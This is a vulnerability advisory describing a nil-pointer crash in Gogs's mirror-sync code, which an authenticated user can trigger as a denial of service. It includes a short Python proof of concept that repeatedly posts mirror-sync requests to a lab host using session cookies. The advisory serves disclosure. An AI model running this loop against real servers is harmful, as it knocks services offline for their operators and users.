Gogs has a Denial of Service issue

Summary

An authenticated user can cause a DOS attack. If one of the repo files is deleted before synchronization, it will cause the application to crash.

Details

If GetMirrorByRepoID fails, the error log dereferencing null pointer. This happens if the repository no longer exits. https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L333-L337 if err != nil m is alwasa nil https://github.com/gogs/gogs/blob/4cc83c498b6ae59356a04912d68a932165bad5e6/internal/database/mirror.go#L269-L278

PoC

Spam mirror-sync on repo and delete this repo code python spam mirror-sync

import requests

url = "http://gogs.lan:3000/superuser/gobypass403/settings"
headers = {
    "Cookie": "lang=en-US; i_like_gogs=fe32281ab84ae868; _csrf=UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
}

data = {
    "_csrf": "UCw6xvqR-L7YLBMPjujwjywxy8s6MTc2NDc3NDQ2NDE1MzU5ODQ3Mg",
    "action": "mirror-sync",
}

while True:
    print("syncing")
    response = requests.post(url, headers=headers, data=data)

Impact

Denial of Service server crash.